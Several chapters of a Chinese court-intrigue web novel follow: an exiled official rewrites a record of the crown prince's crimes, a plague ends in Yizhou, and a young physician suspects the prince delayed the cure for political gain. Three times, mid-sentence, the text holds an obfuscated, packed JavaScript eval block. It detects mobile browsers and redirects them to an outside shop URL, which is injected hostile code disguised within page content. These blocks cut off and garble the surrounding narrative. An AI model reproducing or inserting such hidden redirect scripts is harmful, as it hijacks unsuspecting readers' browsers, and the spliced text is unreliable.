“不错。”说到此处,郭少征接道,“太子本想对我赶尽杀绝,奈何路上是皇帝亲兵押解,他不敢动手,自觉到了益州之后才是让我消失的最好时机。可感益州是滇南属地,那时还由滇南王领辖,而赵将军忠直正义,他奉王爷之命,自我迈进益州城门的第一步,便明里暗里派人保护,前两年,太子多次派来杀手,都被他挡了下来,又带我前前后后挪了十几次住处,从城中市坊到清净后山。一开始我还疑心太子恐怕是知道我手中证据,可就这样躲了两年,每次来人都只为要命却从没一个逼问翻找的,我就知道,太子只是想赶尽杀绝泄愤,而并不知道这东西的存在。渐渐地,他除我不掉,料我也没本事翻身,遂来人越发少。我自知手中东西若一日有暴露的风险,所有见到的人都会和我落得同一种危险中。赵将军,”他顿了顿又道,“和他军中部下,无谓为这份不曾面世的东西频冒风险。于是我给他留了一封信,只说自己不会离开益州,便在他被贬来此地赴任前换了地方,连他都不知道我在哪,于彼此才是最安全的。此后,确也无人来扰我。” “大人恩义。”屿王道,“我却不能不管,大疫虽乱,却空巷人清。领粮配药,都需登籍入册,找一个人比之以往要容易些许。赵将军戍卫一城脱不开身,所以我命小顾入城,让他遍寻城内,就是想及早把大人接出来。谁知他刚找到大人时,那时城中尚且处处疾疫很是危险,他与我也是三天才能一见。于是这三天,他日日都去探望大人平安,这一卷述罪书,就是那时无意间瞧见的。” “小顾大人好眼力啊。”郭少征微笑道。 “郭大人莫怪,小顾绝非有意偷窥。只是他瞧见了这东西,心中便一直惶恐不已,一与我见面,便全盘告知了我。于是我们商定速速把大人您接出城保护起来,毕竟这卷东西,万一被他人得知了去,足以要了您的性命。这也是次日,我本想派江南将您送去青州的原因。此地到底是边城,我所带的人马也不够,疫病未清,尚且不知要在益州耗下去多久。还是青州王将军处,是眼下最适合的所在。” “是,”王将军接话道,“眼下虽然述罪书丢了,但殿下为保无虞,还是命末将,等大人您身体再恢复些,便先随我至青州去。只是不知…”他犹豫着道,“那述罪书到底有多厉害,竟比得过一条人命。” “一条人命?恐怕若是太子知道老夫写过这件东西,即便是十条人命他也能下手。”郭少征抖了抖袖口,以极快且连贯激昂的语势说下去道,“那里面是老夫居枢密使时,参与最高军机要之后,一字一字,亲笔记录的关于太子赃滥、皇后弄权、阉党害政等重大罪状三十一件,而每一件,都有详细的时间地点与事缘情由,证据确凿。这其中涉及的人命,光是借有司各部之手去公开处死的掾吏就有一百余条,还有派遣东宫所养的杀手去隐秘灭口的无辜受牵者,又达三百余条。” 他一口气说完这些,而后喘了喘,低声叹道,“这些,还只是十年前的数目。” “什么…”王将军见屿王面色沉重,便知此言不虚,他暗暗心惊。若不是当年抓住了机会离开皇城来了青州,否则只怕他也一并被太子随便寻个由头整死罢了。 屿王双拳攥紧,“这十年,太子与皇后,并未有任何的收敛。” 郭少征继续道,“皇上已然不信我,我多次谏言却只得到敷衍了事。无奈,我自己一人利用查阅各类典籍、名册、案卷的权限,收集了这些证据,却没等到揭发的好时机,便先一步反被流放。如今十年过去…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253676|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如今十年过去,只可惜,”屿王恨道,“再没有如郭大人一般能身列高位、与之抗衡的忠正之人,能够拿到他犯错的证据,并一一记录下来。可即便是十年前的那些罪状,也足以钉死他了,只怪一场洪水…” “无妨!那上面的每一个字,早就刻在我的脑子里了!” 郭少征此语一出,三人皆惊。 “您的意思是…”屿王试探道。 “老夫既认定了殿下为主,自当准备一份诚意十足的大礼。” 说完他转向王将军,又道,“烦请将军,将我从营帐里带过来的那个箱笼拿出来吧。” 后者遂弯腰从亭内座椅底下拖出了个不大的箱笼,着手将其打开,里面正装有笔墨纸砚一应物品。 郭少征随即盘腿席地而坐,丝毫不顾天凉砖硬,而后从箱中拿出一根白蜡,以火折子燃起后置于近侧地面,又抽出纸张横铺在面前石砖上,左右缘各压上块镇尺,再端出一方砚台,打开砚盖,扁衣挽袖,取笔蘸墨,便这么躬着背,在薄纸上一列一列,撰写起来。 沈谛祝站在其后,看着一个个正书小字涓涓淋漓,堆砌起一排排触目动心的惊涛骇浪。 从当朝十一年到二十一年,从九品县丞到正一品亲王,从后宫到前朝,从左右本国官吏的考校任命,到插手国与国间的商贸与战争。太子党为了维护自己的权力地位能不受任何威胁,已经近乎丧心病狂了。 夕阳已落,天色暗淡,凉风却依旧有劲,从远处的江面过来,吹得火烛摇曳不已,王将军当即蹲下跪在一旁,用双手和身躯,护住这一星光亮。 辰光一夕一夕过去,江南回头望了望身后的三人,黑暗中竟已难看见人影,也再没有任何说话的声音,只见到一段惨白烛光,光影中似有双手秉笔直挥,只听到一尺长纸,在笔下移动摩擦。江南猛地打了个冷战,才突然回过神来,霎时间江涛与晚风都涌进了耳朵,或许还掺杂着亭里的呼吸,与亭外的虫鸣。只是眼中的那段烛光,仍旧无比清晰地刻在了瞳中,在一应的混沌黑暗里,硬是孤注一掷地留下了一方明光。 细长的毛笔奋力疾书,从起笔到落尾没有中断过一次,淌出的行文挥洒流云,很快就布满了一整张纸。然而向那书写的人看去,他双眉紧蹙,面色红热,目光沉痛却坚定。 实则是句句艰难,字字泣血。 他仍然将述罪书再写完了一遍一模一样。 这夜的冷风刮得不大,时间却久,被镇尺压住两端的纸张中段仍旧上下扑腾不已,纸上的排排密字都叫嚣着要挣脱跳出来,烛火一照,字后的无数不甘命运与狰狞面貌尽浮了上来,更显得骇心动目。 半个时辰,足以从日头初降到玉轮高升,蜡炬的火灰已经落了一层,只剩下最后一点烛芯了,郭少征便赶在这即将燃尽的最后关头停笔吹熄了蜡烛。 他挪开镇尺,拎起这份新的述罪书一角,想起身时却因坐得太久而颤悠不稳,几欲摔倒。沈谛祝见其要站起来,便赶紧先一步扶住他双臂。郭少征一手攥牢着纸角,一手紧抓着屿王的袖臂,半颤抖着双腿,切切盯着他道: “请殿下看好,今日是我吹熄的蜡烛,并非它燃干殆尽。日与夜的交替是天道轮回,不会有永恒的光明,也不会有永恒的黑暗。要紧的是殿下您作为掌握世间多数人生命簿的握笔者,亦是操纵天下黑白的执灯者,在黎明来前,您可以潜伏,可以假寐,然而这明与暗的交界,必须要由您来主动把控,积极筹谋,尽力争取。绝不可等蜡烛燃尽,世间永堕黑暗,再恨为时已晚。” 随后,他松开屿王双手,为其整理好衣袖,再退后一步,看着纸上墨迹已差不多风干,遂郑重叠好,恭敬将这封述罪书双手递与面前尊者。 “殿下,收好。” 37. 第六章第四节 秋夜孤冷,风萧萧作响,阴影里的人终于走了出来,他见小厮退下,便前去把门关上,也一并把所有的寒风与喧嚣隔绝在了外头。 “显开,你方才说的那个带刀少年,是不是就是上次你去摸了底的那个叫江南的?” “正是。”此人走回几步,到刚刚那小厮跪下的地方,欠身立在太子面前。他眉清目秀,面容自带一股温柔倔强,而左颊上一道剑疤格格不入,手中握有一把折扇,正是叶显开。他道,“如若他们找的是江南,那这可不是个好消息。” “不错,七弟派他出去,一定是护送什么要紧的东西。” “也有可能是护送某个人。”叶显开又道,“属下可不信屿王会为了区区一个刺客而亲自动身涉险,一定是江南身边带了一个极重要的人。方才禀报中说他们一行下山后就有两人受伤,我总觉得这里面有蹊跷,许是因为洪水,江南和这个人被困在了荒山,因此才会受伤,也因此屿王才这么急着亲自去找。” “这两个人,和他先前派出去青州买药的那两个,说不好还会有什么关联。”太子思索道,“这座荒山,离青州可不远哪。” “也许就是同两人,狸猫换太子罢了。”叶显开轻轻道,“殿下,益州城里,可有什么对您有威胁的人吗?所以屿王才要把人转移到青州保护起来。” “益州里不过就一个姓赵的,还有一个郭少征。然而这两人对本殿,都谈不上有任何威胁。姓赵的手里只有一支守城军,都是边境粗鄙之人,没人调教就成不了气候。而郭少征……”太子的眼神逐渐狠毒起来,“此人在位时屡屡与我和母后作对,十年前对于他我本想斩草除根,然而流放路上是禁军看押,我不好动手,可等他进了益州城没两年,竟然就失去了踪迹,不知道躲去哪个犄角旮旯偷生去了。” “不过不要紧,是什么人都不要紧。即便是郭少征,他全家覆灭,根基尽毁,绝不可能再掀起风浪。”说罢,太子转恨为笑道,“更何况,我这个七弟,有一件事,是他永远也弄不明白的。”他低声嗤笑着,却不再说下去了。 “你道他郭少征是什么人,即便他家毁人亡,即便他权位旁落,即便他失去所有依靠与根基,可只要他的人还在,只要他的脑子还在,他就还可以从头再来。” 沈谛祝怀中揣着这封来之不易的述罪书,感慨万分。 他和江南独自两人走在回营的路上,郭少征坚持自己的身体尚可,于是当晚就与他们分道,随王将军回青州去了。他说完便接着叹道,“你只看今晚,多少典籍,多少名录,甚至所有遇害者的姓名身份,官职籍贯,他竟然都记得清清楚楚。” “那郭大人十年前究竟是为什么被构陷的?”江南问道。 “那时我也很小,具体内情我也不知。可无非是官高震主,利益驱使一类。他是我朝的枢密使,而这位置在前朝,是宦官担任的,后才到了他手里,故而阉党对其早有不满。我朝自开国以来战争几乎不断,于是先皇时,枢密使的职权范围被扩大到了极限,所有军政大权,几乎都在其一人之手,等齐于宰相。他那时的地位,可谓是仅次于天子一人之下。 再加上他清廉正义,军功卓著,成绩斐然,他曾献计奇袭汴州,南唐北梁对峙四十年的局面,他仅花了八天,就破了局一举灭梁。 父皇继位前,与他也算是相交甚深,两人经常在先皇面前交流军政,共商大计,你言我语,辩得不可开交。可这些到了父皇登基之后,在当今的太子与皇后嘴里,就成了拿捏父皇的痛处,终于,父皇从那个最懂他的人,变成了看着他心死的人。” “夫哀莫大于心死,而人死亦次之。”江南认真听着,突然冒出来这样一句。 “我教过你的,你还记得?”沈谛祝听他说得准确,便略带讶异地偏过头去瞧了他一眼。 “属下都记得。” “没想到你和有学识的人共苦了几日,连说话都变了。你以前从来不说这些,我还以为你根本没记住。”屿王失笑道。 “殿下,我还想学写字。” “什么?” “我现在只会写几个名字。在山中的时候,郭大人说字如其人。他叫我若能活着出来,要多学习字,还叫我不要总是驼背。” 沈谛祝脸上出现了一丝迷惑的表情,他不明白习字和驼背之间有什么关联,更加不知道郭少征的真正用意,是以字迹,训作人。 江南也不会知道,郭少征一早便从他杀狼剥皮等行事作风的眼神中,看破了他常刀尖舔血的事实,然而郭少征愿意给每个人一次悔过自新的机会,他总觉得他尚可挽救。因此刚刚的那一番话,不惜用“善良”等词加诸于他,不仅是向屿王解释自己选择的原因,更是说给江南听到。 字如其人,反之人亦能如字。实则因为江南人已成型,硬改甚难,便从其尚未真正接触过的习字开始,若能临名家书帖,练出一副飘逸字迹,他自当也盼江南能挺起脊梁,顶天立地,做一个光明磊落的男儿郎。 沈谛祝虽想不通,但也觉得这两件事没什么坏处,转而他似乎是想起了什么有趣的事,遂玩笑道,“那你可知道,郭大人还说,你在山中时,还不忘用那匕首剃胡子,生怕自己从年轻后生变成和他一样的髭须老者了。” “我是怕救援到了却认不出我。”江南想到心中真正怕认不出自己的所念之人,有些不自在地辩解道。 “哈哈哈哈,走吧!”沈谛祝拍拍江南肩膀,两人一并继续向前走去,他笑道,“回去教你写字。” 接下去的一个月,沈谛祝与江南总算都各自清闲了些,每日除了例行的处理益州往来物资之事,并无其他插曲。而在这其中,顾念怀出来禀报了几次城内情况,每次带来的消息都是“大幅好转”,卿轩以也亲自登帐拜访过几次,回回都送来一些江中鲜鱼,屿王便会叫来江南、李为衷、杨丹盈等人一同休息下来,先饱餐一顿再说。 至于益州城内,也确实如顾念怀所说,一切都在以最快的速度向好发展。石焉、肖遥海,以及所有京城来的太医和益州本城大夫,终于在十一月上旬,一起迎来了大疫的结尾。 清空四所,洒扫街道,重开城门。接下来的事项,便只剩下表彰与赏赐了。 这日,屿王在来到益州之后第一次进了城,他被迎至赵将军府上安坐,而再过约一刻钟,他就要去面向全城百姓,公开褒奖治疫中的有功之士。然而在此之前,他另有一个人要见,正是肖遥海。 后者一大早就在庭中求见,等待着屿王的到来,在论功行赏开始之前,他有几句要紧话对他说。 “殿下,老夫是江湖人士,又仗着几分自己的年纪,因此有几句放肆的话,要对殿下直言。” “肖神医请讲。” “敢问殿下,稍后的仪式里,我们这些大夫,受的是什么赏,得的是什么名?” “您自然在首功之列,几位太医亦不必说,大家千里迢迢来此,本殿有隆厚恩赏,还有益州的几位大夫,也有重赏。” “我那外孙女没有吗?” 屿王脸上的表情有一瞬间的凝固,他很快调整回了得体的笑容,道,“原来肖神医想问这个。本殿后来都听说了,妙常为治病,不惜自己也染上了疫症,她又研制出了蛊毒的解药,这本是首功一件。” “只是……”屿王继续道,“这个过程中,百姓对她有些误解,故而今日本殿为民心安稳所虑,不能公开予以赏赐,但是您放心,私下里,该给妙常的一件也不会少。” “殿下所言,恕我不能认同。”肖遥海直言道,“我在益州两个多月,不敢说对益州百姓有多了解,然而殿下也可以叫来赵将军问问,他在此地七年,这里民风如何,他是最清楚的。益州百姓大多没见过世面,也正是因为没见过世面才思考事情格外的简单,非对即错。上次他们受了不怀好意之人的挑唆,便上门去找妙常的麻烦,就说明了这一点。然而在他们眼里,黑就是黑,白就是白,黑的解释过去了,也就没事了。他们不像京城的达官显贵们,心里都装着七拐八拐个弯,一向热衷勾心斗角,且以小题大做为傲。若殿下是担心这次公开表彰妙常,会打了小顾大人上次那番说辞的脸,实在是以己之心,夺人之腹了。我敢保证,若您正常表彰妙常,百姓只会觉得殿下大度爽快,而非小题大做之人。” 屿王听了他的话,顿时脸上一阵青白,对方说得十分不客气,而他也不得不承认被肖遥海说中了心思,以他惯常思考的角度,确实担心若此次表彰了石焉,就等于宣告了石焉在大疫中无错,那上次顾念怀将错处推至石焉身上,岂非连他们屿王府的脸都一起打了? 可沈谛祝并非那种知错硬不认的固执之人,他仔细一想,其实肖遥海说的不无道理,他自己往往是被皇宫中养大的习惯禁锢住了,总是先以恶意揣度人,将简单的事想得许多复杂。然而益州的百姓和皇宫里的对手天差地别,如何可以一而待之?他们不懂得由一生二,更不会由二生三。他不该用对待宫城中人的谨慎眼光,来揣测益州百姓的坦率与单纯。 他于是心中已经有所动摇,便也不准备和肖遥海兹等江湖中人纠结言辞礼仪的小事,刚准备同意,却又突然想到,受奖之人从军士到大夫皆为男子,沈妙常一介女流站立其中,恐怕多有不便。 他这回可并非是为坚持自己的决定再而三搬出借口,而是实实在在为妙常考虑,因此他道,“肖神医言语直率, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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人们总是在发生过对抗与冲突后,为着挑刺或证实什么,才会真正去注意与关心对手的一举一动。因此在之前,他们因别人的三言两语而误以为石焉是个胆小不勤之人,可等他们真正亲自观察了之后,才发现完全相反,石医官实则晨兢夕厉、医术高明,而对于之前分药不公等事,毕竟事过境迁,他们回过头去想想,便也理解了她当日的做法。 即便那样的误以为,到底真心实意地曾给石焉带去过创伤与痛苦。 “怎么笑得如此开心?” 石焉被身侧突如其来的问话吓了一跳,她不知不觉已经走到了近城墙处,熙熙攘攘的人群还在身后不远处,呼喊着“屿王大恩”一类的言语。 她看着眼前少年,正是江南,他身边牵着一匹皮毛滑亮的高头骏马,站在此处不起眼的角落里。今日他随屿王进城,后者命其在此等候,然而屿王还没回来,却先瞧见了欢欣雀跃的石焉。他手里顺抚着马颈处的黑鬃,脸上带着一抹询问的笑意。 “你…好像瘦了?”石焉惊道。 “你也是。” 两人都不约而同地笑了出来,暖和的日风把薄云吹得东移了些,露出了更大的日头,阳光就这么一寸一寸照了过来,把这块墙根下的角落,照得明亮不已。 “今天论功行赏的集议,让你很高兴?”江南再次问道,他鲜少在石焉脸上见到如此不施负担的笑容。 “当然。”石焉想了想,而后肯定道。 “这是我向殿下求的汗血宝马。”江南看她如此开心,不禁也想到自己的封赏,他于是这么说道,而说完这句后,他本筹措着还想说些什么,但终是没有说出口。 “看来益州的确是个好地方,我们都在这里得到了我们想要的东西。”石焉微笑着说。 “是啊。”江南再次纠结着要不要把话说下去,身旁骏马不适时地发出一声叹息,似在彰显自己才该是今日主角。江南抚了抚它的鬃毛,又将话转回道,“这匹马…我…你…” “什么?”石焉问道。 “这匹马还没有名字,我没读过书不会取名,你帮我给它取个名字吧?”江南随意换了个借口,一鼓作气编完了道。 “取名字?”这回倒换石焉有些不好意思了,又不是自己的坐骑,取名多少有些越界。 她想起从前看过的一幅韩干之画,便试探着道,“前朝玄宗有一匹雄骏白马,取名照夜白,我看你这匹丰神俊逸绝不输于它,不如就叫遮云黑?” “好啊,就叫遮云黑。” “什么?”石焉本是开着玩笑随口一取,却没想到江南竟真的奉若瑰宝般,当即认真点头答应了,她愣了一下,问道,“真的吗?” “当然,你连一匹马都能取出如此厉害的名字。”江南眼中流露出了一丝羡慕与向往,而遮住了他心底的一缕自卑,“很好听,我很喜欢。” “好。” 两个人遂站在城墙旁,瞧着对方,都开怀地笑着,阳光悬停在头顶,让两人都有些睁不开眼。他们都没有告诉彼此不久前各自曾经历的生死大事。 被困荒山,身染毒疫,他们却都默契地一句也没有提。 38. 第六章第五节 等到一切事宜妥当,屿王一行便准备拔营回京。离开益州的当日,赵将军特地亲来送行。 他走到屿王面前,见其他人离得尚远,便先单膝跪下大声道,“殿下对益州大恩,臣没齿不忘。”而后又小声道,“于公,殿下千里迢迢,救边城百姓于水火。于私,殿下收留定边郡主,并未透露其身份踪迹,又将郭大人接离此荒僻之地。殿下对其两人皆是恩遇有加,并未因他们如今的身份而抛弃厌倦。” 此话一出,屿王的确吃了一惊,只听赵将军又道,“有一个人的名字臣不便严明,然而亦不想对殿下隐瞒。臣曾在郡主的父亲手下从军,殿下如今对郡主有恩,便是对臣有恩。而郭大人,十年前遭贬之时,亦是郡主之父一路遣我暗中护卫,到了益州城内,又助郭大人掩埋踪迹,直至七年前臣被调至此处任职,继续保护左右。大人怕牵连我,我却不能放任。如今郭大人得到殿下的好生关照,特派了顾大人接他离开益州这蛮荒地儿,臣心里感激不尽。之前殿下问起时我有所隐瞒,还请殿下赎罪。” 屿王失笑,看来这关塞边城中,能人异士还真是不少。他道,“原来将军什么都知道。就连小顾在城中找到郭大人的住处,也是将军默许的了?看来将军与本殿,也算默契。” “不敢!”赵将军低头道,“顾大人聪慧过人,找到郭大人全凭他自己本事,臣斗胆暗中跟着小顾大人看了几日,不过是想求个放心,见他始终对郭大人以礼相待,行事周全,臣便可知殿下为人。殿下既已接了郭大人出城,臣虽不知去了哪里,但想斗胆一猜,如今郭大人可是入了殿下麾下?” “是又如何?” “臣保护郭大人近十年,只怕乍离了还有些不适应,遂盼跟随之,以求日后还能继续尽心守护,再为大人护卫。不知殿下是否允准?” 屿王勾唇一笑,赵将军话里的意思他不是听不出来,他双手扶起面前的男子,而后道,“郭大人若知道自己受将军庇护多年,如今还得继续追随,定会十分高兴的。本殿也,”他看着赵将军,一字一字道,“十分高兴。” “我看你是高兴过头了!这些银两,可抵得过水帮跑船一年半载的了吧!” 远处传来年轻人的嬉闹打骂声,是杨丹盈正和卿轩以在一道说说笑笑,他们旁边还站着石焉与肖遥海,几人正说笑着。 “杨姑娘此言差矣,一年和半载可是差得很多呢,这些金钱,足足抵得上我们跑船一年再加半载的了!”卿轩以逗她道,“莫非是姑娘看我们水帮发了大财,你也忙碌几月,却只得了个一人份,替你们凌霄宫心痒了?” “胡说!”杨丹盈呸了一声,怪道,“殿主最厌烦官场门道,也向来看不上达官显贵,我来这是为了帮石姑娘的,我们凌霄宫自己的铺面多得很,还用不着到为了几个银两就替朝廷跑腿的地步!” “姑娘此言又差矣!”卿轩以也不恼,只慢条斯理道,“我们水帮是为了益州的百姓,朝廷官府也是为了益州的百姓,二者都是在为百姓办差,并非谁低于谁,也更加不存在其中一方为了另一方。我这话就是到殿下面前,也挑不出错处。至于银钱,不过是我们水帮应得的报酬,就像杨姑娘你,也拿到了报酬不是吗?” 石焉看两人闹个没完,便赶紧插进话来道,“卿大哥说的有理,杨师姐说的也是凌霄宫的选择,既然都是选择,何来对错?两位大侠,不如别在这争了好不好?” “姑娘,益州大疫已毕,你可要随我回去吗?我照旧骑马,带上你和肖神医,想必殿主还在徒太山等你们呢。” “恐怕只有你和肖神医先同路了,我要随卿大哥一起往京城去。” “嗯?你还要凑什么热闹去?”肖遥海问道。 “药方是我拟的,我总要亲自去看看是否还有什么缺漏,才好最终记进我的《观古医林随记》里。” 石焉话虽如此说,但她此去实则还有一个目的,那就是屿王今日一大早才来告诉她,其实在祝之笺按照她当日留下的方子调理了月余后,就有了身孕,如今已满三月,请她回去陪伴王妃直到平安生产。只是此刻杨丹盈和卿轩以皆在侧,他们并不知道自己乃是郡主,又是王妃好友的身份,这才不好言明。 于是当天下午,三支队伍便各自出发。石焉回房拿上最后一包行囊,临去回头扫视一眼屋子,阳光折到桌面一瞬晃眼,才瞧见边缘处还插着那根纤细轻盈的凤翎针。她抬臂打开机关盒,拔针好好收回其内,按序摆放在最靠近发射口的位置。 一切都已归位。阳光温暖灿烂,她的心情也是。 杨丹盈与肖遥海回北方,屿王与几位太医一并在官兵的护卫下走官道回金陵,而石焉不便与诸多男子一道,因此与卿轩以和水帮男女弟子们一起,先坐船至京城附近的北桥分舵,再套车至乐进夔。 上船之后,石焉才对于离开益州有了切实的感受,大船浩浩荡荡行出码头,益州也跟着消失不见了,就连整个南疆也变成了遥遥一片,她站在船头,没看见远处的辛布爬上了城门高处,独自来为她送行,直到她的船走得远了,遂双手扣额,诚挚地为这位小郡主往后的人生祝祷着。 河上静谧幽静,入夜之后,星汉布满天际,石焉走出船舱,朝远处陆上看去,犹能看得到竖列成排的火把亮光莹莹点点,那应该是屿王一行的队伍仍在趁夜赶路。 “屿王殿下还真是着急啊,晚上也不休息,日夜兼程。”卿轩以从船舱内低头钻了出来,站在石焉身边,感叹道。 “是啊,不过这只是第一晚,尚能有段同路。后面几天恐怕就看不见了。” “那是自然,他们再快,也快不过船。”卿轩以朝她看了看,道,“小姐,你是想看见呢?还是不想看见呢?” 石焉听他话中玩味,一下子不知如何作答,便言他道,“既然我们快,不如每个码头都靠岸停停吧?方儿还未找到,我每处都下去问问,也算是等等他们了。” “我也是这么想的,到时候我与你一起。其实这几个月船行到哪,我便下去问到哪,可惜并没什么收获。”卿轩以道,“说来也是奇了,半大个孩子,走丢了自然会找回家去,按理说方儿的年纪也记得家了。” “怕就怕是他不愿意回家。”石焉叹道,“他从前偷跑出门去看灯会,都能又自己俏没声地摸回来,怎么可能如今失踪了这么久还不回家呢。他亲眼见到了父亲要杀死祖父,还差点害死全家,我担心…我担心方儿是受不了刺激自己要跑走的。” “这话小姐和我说说就行了,千万别去帮主那说。”卿轩以实际上早有此猜测,他叮嘱道,“帮主居高不易,又不得已做了未亡人,她统管全帮上下,身体辛苦还只是其次,最重要的是方儿的失踪才是她心中最大病痛。我见过她红衣烈马的样子,因此知道她与石曾忆的姻缘失败,差点断送了她余生的心志。咱们可别叫她觉得,方儿的一生,也是因此断送的。” 他叹了口气,周遭一下子变得安静不已,连船行水面激起的浪声也好似是被一面琉璃镜封在了河底一般,遥远地在其下暗涌着。 他遂转移话题问道,“对了,小姐。你怎么会成了屿王府的医官?还有凌霄宫,和肖神医,看起来似乎都与你的关系非常不一般?之前我派小刘送你和西州丫头一起去凌霄宫时,就想问了。” 石焉嗯了一声,她虽信任卿轩以为人,但并没打算将他搅进这趟浑水里来,于是只道,“屿王之前不是把爷爷送去了徒太山医毒吗?我要去益州治疫,却进不去城门,只好打着屿王的旗号。咱们水帮既然承了他救助爷爷一趟的情,我这么做,也算是答谢吧。至于凌霄宫,玉面夫人和爷爷有交情,你也知道,爷爷每年都会带我去凌霄宫拜访,而肖神医作为玉面夫人的父亲,又是爷爷的老友,因此我也到访过几趟徒太山,一来二去的,自然也就相熟了。” “原来如此。”卿轩以淡淡笑了笑,他虽明知这套说辞只有表面为真,内里还隐瞒了许多实情,却还是恭敬应了下。毕竟每个人都有自己的为难之处,只要不违反天地道义,不会害人害己,想留几个秘密在心底又如何?更何况他自己亦不是一个没有任何秘密要掩藏伪装,而全然坦荡磊落之人。他的隐秘心思,或许自己都没有意识到,已经全然藏在之前的话里了。 次日正午,船只靠岸,卿轩以和石焉便下得船去寻人,然而打听了一圈也没有任何线索,只好用了些午饭后便回船上继续出发。如此一连六日,船只每过一地,他们都一无所获。转眼,已进入北桥分舵的地界了。 “我算了算,屿王的车队估计也就比我们晚上一天左右,只是恐怕他们还要先进京城去向皇帝禀报,之后再去到乐进夔,也要两三天之后了。乐进夔是太子的地盘,小姐现在既然以屿王府医官的名义,只怕不宜独自前往乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼睛被火星子和烈烟熏出了雾气,于是朦胧间她似乎又看到了那棵院墙外的茂盛白杨。 焦急,无助,彷徨失措,欲哭无泪。 所有的情绪将近崩溃之际,一袭白衣少年就在那时从树上跳了下来,他背上的长刀一截分二摇摇晃晃,身上再没有其他武器,赤手空拳,将石方抢了回来,又挡在自己与瘫软的爷爷面前。 石焉遂回过身来,指着刀对老板道,“麻烦您,我要那把长刀。” “姑娘,一看你就是选刀的外行,这把的材质可比不上你左手边那把好啊!”老板并不急着把石焉挑中的刀摘下来,而是擦了擦自己通红的手,指向石焉左边的另一把,然后推荐道,“那把可是锟铻石冶炼成铁做的,正所谓‘割玉须用锟铻刀’!曾经啊西胡献给周穆王的就是这种刀。哈哈,这银子嘛,自然也不算太贵的,毕竟我的手艺比不上前人,但是这材料可是货真价实的!” 石焉心中想道,若是要论材质,恐怕除了自己外公打造的那把盼春归以外,没有哪把刀能和江南师门中的卷云刀一较高下了。 她笑笑道,“兵器趁手便可,我不懂材质。请帮我把我一开始选中的这把取下来吧,我这就付钱。” “好罢,好罢。”这卖刀老板遂一边取刀,一边自我安慰道,“哎,最近这乐进夔的大疫闹的,连带我们附近州城的生意也都不好做。有钱有势的一早都去乡下避难了,咱们小本生意的平民百姓哪也去不了!我这啊,能卖出去一把也不错了!” 石焉听他这话,奇道,“乐进夔还在大疫吗?不是应该…已经差不多好了吗?” “姑娘难道不是咱们这片的人?”老板也奇道,“乐进夔的大疫沸沸扬扬,太子都亲自遥监!然而吧…”他压低了点声音道,“遥监了半天却没半点起色,这不到现在几个月过去了还…害,起先说着吓人,一染十,十染百的,搞得这附近几个城都没人敢出门。姑娘你没发现吗,咱们北桥可是数一数二的繁华,可街上的行人还是寥寥无几。更何况是首当其冲的乐进夔呢?我听说那城中的病人,死了一批又一批,就半个月前还拉出去几十个埋了呢。” 此话一出,石焉大惊失色,她一行走水路过来,每日上岸时间也不过一个时辰,的确没有去仔细留意关于乐进夔的消息与民情。她实在不敢去想老板口中的意思。 尤其是那句“就半个月前还拉出去几十个埋了呢。” 39. 第六章第六节 “小姐你……” 石焉刚从街上回来,就恰巧遇上了正要出房门的卿轩以,后者此刻惊讶地盯着自己右手提着的长刀,她没来由地心底发虚,便赶紧掩饰道,“哦,这个…我是送给一位朋友的。” “哈哈哈,我倒不是惊讶你送江少侠一把新刀,”卿轩以爽朗道。 “啊?”石焉听对方如此了然地戳穿了她话中“朋友”二字的身份,这才恍悟是自己不打自招了,一时羞恼,便听卿轩以又道,“我只是没想到小姐你竟然能单手提得动如此一柄长刀。” “卿大哥小瞧我了,我虽从小体虚,却也不至到手无缚鸡之力的程度。若连一柄刀都提不动,我还如何爬山采药?” 她这话带了不少嘴硬的成分,面上理直气壮地说完,实际一点底气也没。脑中回想刚刚,自己一路提刀回来其实很是费力,却又不想为此专门找人求助,便左手换右手,右手委左手,在这么或捧或拎着的不停倒腾下,才拿了回来。所幸街上行人甚少,虽没有相助之人,却也好在没什么人看见她的狼狈。 见卿轩以笑着“嗯嗯嗯”地敷衍应了,她才不再□□,明明手里拎着重刀早就酸了,却偏偏要等话都说完了才假装轻松地放下,而后随意捋捋头发,才又道,“对了卿大哥,这几个月我关在益州里消息闭塞,你可知乐进夔如何了?” “乐进夔如何?”卿轩以被她问得一头雾水,道,“自然还是老样子,没任何起色,怎么,你和屿王这趟回京,不就是把药方带来乐进夔的吗?” “可是我早就…”话到一半,石焉戛然而止,她突然意识到了。 是啊,她早该意识到了。 只有屿王此行带药方回京,才真正是大功一件。 “只有本殿此行亲自带药方回京,才真正是大功一件。若在我们大队人马回来之前而先把药方给了乐进夔…” 届时乐进夔恢复如初的功劳肯定会归了太子不说,更加会失去如今这幅非他不可、危急紧迫的局面。 “更加会失去如今这幅危急紧迫的局面,谁还会感念这药方的来之不易,还怎么让朝廷看到我与太子的不同,还如何让百姓和官眷记住是我们救他们于水火!” 还如何能突显他屿王救百姓于水火的大义? “因此在前头的时候,自然是要等,等到乐进夔的局面糟糕到无以复加,等到一切铺垫就绪,等到火候恰逢其时!” 等到火候恰逢其时,再扮演那个出场的英雄。 “本殿并非是要扮演这个出场的英雄,只是……” 